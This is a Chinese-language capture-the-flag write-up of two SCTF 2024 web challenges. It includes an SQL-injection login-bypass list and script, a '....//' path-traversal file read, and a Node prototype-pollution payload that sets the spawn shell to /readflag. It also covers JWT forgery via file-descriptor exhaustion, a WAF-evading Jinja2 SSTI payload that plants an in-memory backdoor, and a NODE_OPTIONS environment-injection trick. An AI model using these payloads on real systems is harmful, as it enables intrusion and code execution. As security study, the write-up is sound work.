SCTF 2024

SCTF 复现

SycServer2.0

朴素的用户登录界面,扫一眼js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<script>
function wafsql(str){
return str.replace(/[\-\_\,\!\|\~\`\(\)\#\$\%\^\&\*\{\}\:\;\"\<\>\?\\\/\'\ ]/g, '');
}
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}

const authToken = getCookie('auth_token');

if (authToken) {
window.location.href = '/hello';
}

document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();

const username = wafsql(document.getElementById('username').value);
const password = wafsql(document.getElementById('password').value);

const response = await fetch('/config');
const { publicKey } = await response.json();

const encrypt = new JSEncrypt();
encrypt.setPublicKey(publicKey);

const encryptedPassword = encrypt.encrypt(password);

const formData = {
username: username,
password: encryptedPassword
};

const loginResponse = await fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(formData),
});

const result = await loginResponse.json();
if (result.success) {
alert('登录成功');
window.location.href = "/hello"
} else {
alert('登录失败:' + result.message);
}
});
</script>

可以看到是一个简单的登录表单,前端使用了sqlwaf进行过滤之后使用加密进行登录

由于waf做在前端,合理猜想这里存在sql注入,尝试一下万能密码绕过登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

访问/config获取加密公钥public-key

1
2
3
{
"publicKey": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const crypto = require('crypto');

async function fetchModule() {
return (await import('node-fetch')).default;
}

const URL = 'http://ip:port';

async function getPublicKey() {
const fetch = await fetchModule();
const response = await fetch(`${URL}/config`);

if (!response.ok) {
throw new Error(`Failed to fetch public key: ${response.statusText}`);
}

const { publicKey } = await response.json();
return publicKey;
}

async function encryptData(password) {
const publicKey = await getPublicKey();

const encryptedPassword = crypto.publicEncrypt({
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING,
}, Buffer.from(password));

return encryptedPassword.toString('base64');
}

async function sendLoginRequest(username, password) {
const fetch = await fetchModule();
const encryptedPassword = await encryptData(password);

const formData = {
username: username,
password: encryptedPassword,
};

const loginResponse = await fetch(`${URL}/login`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(formData),
});

if (!loginResponse.ok) {
throw new Error(`Login request failed: ${loginResponse.statusText}`);
}
console.log(JSON.stringify(formData));
const result = await loginResponse.json();
console.log(result);
}

sendLoginRequest('admin', "' or 1='1");

登录成功,四处转转,黑盒题信息很少,首先要找找路由

/robots.txt

1
2
3
User-agent: *
Disallow:
Disallow: /ExP0rtApi?v=static&f=1.jpeg

/ExP0rtApi?v=static&f=index.html 这个接口发现是一个鉴权任意文件读,v(猜测为目录位置)f(猜测为文件名称),看起来不存在目录穿越但实际可以用双写....//来实现任意文件读

读取出来的数据有些畸形:

起初对编码有些疑惑,觉得可能是用私钥进行了RSA加密,但不对

后来了解了一下,看到H4sI头数据自然而然地想到了使用了Gzip encode +Base64 编码,解码一下果然能得到原始数据

读源码

/app/app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
const express = require('express');
const fs = require('fs');
var nodeRsa = require('node-rsa');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const SECRET_KEY = crypto.randomBytes(16).toString('hex');
const path = require('path');
const zlib = require('zlib');
const mysql = require('mysql')
const handle = require('./handle');
const cp = require('child_process');
const cookieParser = require('cookie-parser');

const con = mysql.createConnection({
host: 'localhost',
user: 'ctf',
password: 'ctf123123',
port: '3306',
database: 'sctf'
})
con.connect((err) => {
if (err) {
console.error('Error connecting to MySQL:', err.message);
setTimeout(con.connect(), 2000);
} else {
console.log('Connected to MySQL');
}
});

const {response} = require("express");
const req = require("express/lib/request");

var key = new nodeRsa({ b: 1024 });
key.setOptions({ encryptionScheme: 'pkcs1' });

var publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----`;
var privatePem = `-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27
PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l
i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi
6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI
lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY
Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61
khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT
6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78
dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG
mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye
KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh
UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l
zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg
xu/vfQ0A1jHRNC7t
-----END PRIVATE KEY-----`;

const app = express();
app.use(bodyParser.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'static')));
app.use(cookieParser());

var Reportcache = {}

function verifyAdmin(req, res, next) {
const token = req.cookies['auth_token'];

if (!token) {
return res.status(403).json({ message: 'No token provided' });
}

jwt.verify(token, SECRET_KEY, (err, decoded) => {
if (err) {
return res.status(403).json({ message: 'Failed to authenticate token' });
}

if (decoded.role !== 'admin') {
return res.status(403).json({ message: 'Access denied. Admins only.' });
}

req.user = decoded;
next();
});
}

app.get('/hello', verifyAdmin ,(req, res)=> {
res.send('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />');
});

app.get('/config', (req, res) => {
res.json({
publicKey: publicPem,
});
});

var decrypt = function(body) {
try {
var pem = privatePem;
var key = new nodeRsa(pem, {
encryptionScheme: 'pkcs1',
b: 1024
});
key.setOptions({ environment: "browser" });
return key.decrypt(body, 'utf8');
} catch (e) {
console.error("decrypt error", e);
return false;
}
};

app.post('/login', (req, res) => {
const encryptedPassword = req.body.password;
const username = req.body.username;

try {
passwd = decrypt(encryptedPassword)
if(username === 'admin') {
const sql = `select (select password from user where username = 'admin') = '${passwd}';`
con.query(sql, (err, rows) => {
if (err) throw new Error(err.message);
if (rows[0][Object.keys(rows[0])]) {
const token = jwt.sign({username, role: username}, SECRET_KEY, {expiresIn: '1h'});
res.cookie('auth_token', token, {secure: false});
res.status(200).json({success: true, message: 'Login Successfully'});
} else {
res.status(200).json({success: false, message: 'Errow Password!'});
}
});
} else {
res.status(403).json({success: false, message: 'This Website Only Open for admin'});
}
} catch (error) {
res.status(500).json({ success: false, message: 'Error decrypting password!' });
}
});

app.get('/ExP0rtApi', verifyAdmin, (req, res) => {
var rootpath = req.query.v;
var file = req.query.f;

file = file.replace(/\.\.\//g, '');
rootpath = rootpath.replace(/\.\.\//g, '');

if(rootpath === ''){
if(file === ''){
return res.status(500).send('try to find parameters HaHa');
} else {
rootpath = "static"
}
}

const filePath = path.join(__dirname, rootpath + "/" + file);

if (!fs.existsSync(filePath)) {
return res.status(404).send('File not found');
}
fs.readFile(filePath, (err, fileData) => {
if (err) {
console.error('Error reading file:', err);
return res.status(500).send('Error reading file');
}

zlib.gzip(fileData, (err, compressedData) => {
if (err) {
console.error('Error compressing file:', err);
return res.status(500).send('Error compressing file');
}
const base64Data = compressedData.toString('base64');
res.send(base64Data);
});
});
});

app.get("/report", verifyAdmin ,(req, res) => {
res.sendFile(__dirname + "/static/report_noway_dirsearch.html");
});

app.post("/report", verifyAdmin ,(req, res) => {
const {user, date, reportmessage} = req.body;
if(Reportcache[user] === undefined) {
Reportcache[user] = {};
}
Reportcache[user][date] = reportmessage
res.status(200).send("<script>alert('Report Success');window.location.href='/report'</script>");
});

app.get('/countreport', (req, res) => {
let count = 0;
for (const user in Reportcache) {
count += Object.keys(Reportcache[user]).length;
}
res.json({ count });
});

app.get("/VanZY_s_T3st", (req, res) => {
var command = 'whoami';
const cmd = cp.spawn(command ,[]);
cmd.stdout.on('data', (data) => {
res.status(200).end(data.toString());
});
})

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

关注一下 Reportcache[user][date] = reportmessage这个地方,会进行字典式的赋值,从而导致nodejs中的原型链污染.

package.json看一眼,有其他patch

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"dependencies": {
"body-parser": "^1.20.3",
"cookie-parser": "^1.4.6",
"crypto": "^1.0.1",
"express": "^4.21.0",
"jsonwebtoken": "^9.0.2",
"mysql": "^2.18.1",
"node-rsa": "^1.1.1",
"path": "^0.12.7",
"require-in-the-middle": "^7.4.0"
}
}

/app/handle/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var ritm = require('require-in-the-middle');
var patchChildProcess = require('./child_process');

new ritm.Hook(
['child_process'],
function (module, name) {
switch (name) {
case 'child_process': {
return patchChildProcess(module);
}
}
}
);

app/handle/child_process.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function patchChildProcess(cp) {

cp.execFile = new Proxy(cp.execFile, { apply: patchOptions(true) });
cp.fork = new Proxy(cp.fork, { apply: patchOptions(true) });
cp.spawn = new Proxy(cp.spawn, { apply: patchOptions(true) });
cp.execFileSync = new Proxy(cp.execFileSync, { apply: patchOptions(true) });
cp.execSync = new Proxy(cp.execSync, { apply: patchOptions() });
cp.spawnSync = new Proxy(cp.spawnSync, { apply: patchOptions(true) });

return cp;
}

function patchOptions(hasArgs) {
return function apply(target, thisArg, args) {
var pos = 1;
if (pos === args.length) {
args[pos] = prototypelessSpawnOpts();
} else if (pos < args.length) {
if (hasArgs && (Array.isArray(args[pos]) || args[pos] == null)) {
pos++;
}
if (typeof args[pos] === 'object' && args[pos] !== null) {
args[pos] = prototypelessSpawnOpts(args[pos]);
} else if (args[pos] == null) {
args[pos] = prototypelessSpawnOpts();
} else if (typeof args[pos] === 'function') {
args.splice(pos, 0, prototypelessSpawnOpts());
}
}

return target.apply(thisArg, args);
};
}

function prototypelessSpawnOpts(obj) {
var prototypelessObj = Object.assign(Object.create(null), obj);
prototypelessObj.env = Object.assign(Object.create(null), prototypelessObj.env || process.env);
return prototypelessObj;
}

module.exports = patchChildProcess;

Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)。这里创建了一个自定义的,patch的spawn函数,启用了patchOptions参数。

在修复了之前默认开启的patch_options选项为true的漏洞之后,这里出题人故意设置了这个解析选项为true,自动解析参数。

关注shell属性:

  • shell如果是 true,则在 shell 内运行 command。 在 Unix 上使用 '/bin/sh',在 Windows 上使用 process.env.ComSpec。 可以将不同的 shell 指定为字符串。 请参阅 shell 的要求默认的 Windows shell默认值: false (没有 shell)

nodejs在查找属性失败后会到原型链上进行查找,尝试污染shell参数为/readflag

final payload:

1
{"user":"__proto__","date":"2","reportmessage":{"shell": "/readflag"}}
1
SCTF{Fxxk1ng_enCrypT_1n_w3bserver_m3}

EzRender

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf

app = Flask(__name__,static_folder="static",template_folder="templates")
user={}

@app.route('/register', methods=["POST","GET"])
def register():
method=request.method
if method=="GET":
return render_template("register.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if data["username"] in user:
return "This name had been registered"
else:
user[name] = User(name, pwd)
return "OK"

@app.route('/login', methods=["POST","GET"])
def login():
method=request.method
if method=="GET":
return render_template("login.html")
if method=="POST":
data = request.get_json()
name = data["username"]
pwd = data["password"]
if name != None and pwd != None:
if name not in user:
return "This account is not exist"
else:
if user[name].pwd == pwd:
token=generateToken(user[name])
return "OK",200,{"Set-Cookie":"Token="+token}
else:
return "Wrong password"

@app.route('/admin', methods=["POST","GET"])
def admin():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)

method=request.method
if method=="GET":
return render_template("admin.html",name=name)
if method=="POST":
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"

@app.route('/', methods=["GET"])
def index():
return redirect("login")

@app.route('/removeUser', methods=["POST"])
def remove():
try:
token = request.headers.get("Cookie")[6:]
except:
return "Please login first"
else:
infor = json.loads(base64.b64decode(token))
name = infor["name"]
token = infor["secret"]
result = check(user[name], token)
if result != "True":
return result, 401

rmuser=request.form.get("username")
user.pop(rmuser)
return "Successfully Removed:"+rmuser

if __name__ == '__main__':
# for the safe
del __builtins__.__dict__['eval']
app.run(debug=False, host='0.0.0.0', port=8080)

User.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
class User():
def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None

self.secret=self.setSecret()

def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret

verify.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import json
import hashlib
import base64
import jwt
from app import *
from User import *
def check(user,crypt):
verify_c=crypt
secret_key = user.secret
try:
decrypt_infor = jwt.decode(verify_c, secret_key, algorithms=['HS256'])
if decrypt_infor["is_admin"]=="1":
return "True"
else:
return "You r not admin"
except:
return 'Don\'t be a Hacker!!!'

def generateToken(user):
secret_key=user.secret
secret={"name":user.name,"is_admin":"0"}

verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
infor={"name":user.name,"secret":verify_c}
token=base64.b64encode(json.dumps(infor).encode()).decode()
return token

waf.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
evilcode=["\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
return True
return False

使用了Jinja2的render_template_string函数,会导致SSTI->RCE.

最大 fd 2048,如果注册超过2048下就会导致打开/dev/rand报错返回null,此时不会导致secret被附加随机字符串,会是当前注册时间。

知道了secret之后就可以利用JWT伪造来伪造一个admin token来进行jinja2 SSTI 绕过waf来进行RCE.

然而容器似乎不出网…得打Flask SSTI 内存马注入

WAF可以使用字符串拼接的形式来进行绕过。

1
2
{{g.pop.__globals__.__builtins__.__getitem__('ex''ec')('ex''ec(''base64.b64decode("X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp")'')',dict(base64=g.pop.__globals__.__builtins__.__getitem__("__import__")("base64")))}}
# base64编码内容为:__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('/readflag').read())

/readflag直接拿flag

赛后反思

1.由于对nodejs文件引入的不熟悉导致遗漏了部分源码文件,导致本题进度被搁置

2.研究node历史漏洞发现Node 从8.0 开始支持 NODE_OPTIONS,而 Node 的参数中有一项名为 --require,可以加载执行一段 JavaScript 代码。通过注入 __proto__.env,我们可以执行对应的Javascript.还可以利用

1
2
3
4
{
"AAAA": "console.log("2333")//",
"NODE_OPTIONS": "--require /proc/self/environ"
}

类似这样的原型链污染来进行基于自身环境变量的Inline-Code RCE.

此漏洞目前已在较新版本的Node中进行修复.

参考链接